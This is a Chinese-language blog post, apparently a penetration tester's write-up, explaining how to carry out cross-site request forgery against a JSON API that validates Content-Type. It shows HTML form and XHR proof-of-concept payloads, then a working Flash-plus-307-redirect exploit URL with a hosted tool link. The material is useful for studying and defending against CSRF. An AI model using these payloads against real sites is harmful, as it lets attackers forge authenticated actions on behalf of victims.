JSON CSRF的一个案例-附利用链接
这是最近的一个真实案例,所以某些地方对进行打码处理,算作对json csrf的一点研究吧,废话不多说,进入正题
对一个SDK进行渗透测试过程中发现,发现POST请求的data都使用json格式进行数据传输,该做的校验和过滤都做了,权限也做了很好的控制,难道就没问题了?感觉此处应该存在CSRF问题的,但是由于post的内容是json格式,而且对Content-Type也进行了限制,如下图:
尝试一、常规思路利用构造了如下代码:
<body>
<form action="http://test.com/aaa/bb" method="POST" enctype="text/plain">
<input type="hidden" name='{"k1":"v1","k2":"v2",...} type="hidden" />
<input type="submit" value="Submit request" />
</form>
</body>
保存html,执行失败了,传输的json格式中,多了个“=”,由于服务端对post的数据进行json格式校验,此方式失败
尝试二、这个方法不行,于是想到了用xhr,又构造了如下利用代码:
<script type="text/javascript">
function jsonreq()
{
var xmlhttp = new XMLHttpRequest();
xmlhttp.open("POST","http://test.com/aaa/bb",true);
xmlhttp.setRequestHeader("Content-Type","application/json;charset=UTF-8");
xmlhttp.withCredentials = "true";
xmlhttp.send(JSON.stringify({"k1":"v1","k2":"v2",...}));;
}
jsonreq();
</script>
经过测试这个代码依然不行,这里进行一下总结,发现这个接口对POST的数据和Content-type都进行格式校验,这个时候难道就不存在CSRF了吗?
经过一番搜索学习,发现可以借助flash,构造特殊的flash,利用307跳转来实现。
要求:
1 制作一个Flash文件
2 制作一个跨域XML文件
3 制作一个具有307状态码的PHP文件
这里节省时间就不引入制作这个flash的过程了,具体的实现其实有很多,思路是这样。做为菜鸟的我,发现已经有大牛造好轮子了,我们就不用重复了。而且我也将接口集成在博客里:
http://www.0xby.com/swf_json_csrf/test.swf?endpoint=http://test.com/aaa/bb/test.do&reqmethod=POST&ct=application/json;charset=UTF-8&jsonData={"k1":"v1","k2":"v2",....}&php_url=http://www.0xby.com/swf_json_csrf/test.php
最终实现跳转了,如图
这里需要说明一下使用方法,endpoint对应url地址,ct对应content-type, jsonData对应需要提交的json数据,就可以使用了,需要注意开启flash,某些高版本的flash 无法跳转的
博客已集成swf csrf tool 直达链接:http://www.0xby.com/swf_json_csrf/ui.html
参考链接:
https://www.cnblogs.com/blacksunny/p/7940287.html
https://github.com/sp1d3r/swf_json_csrf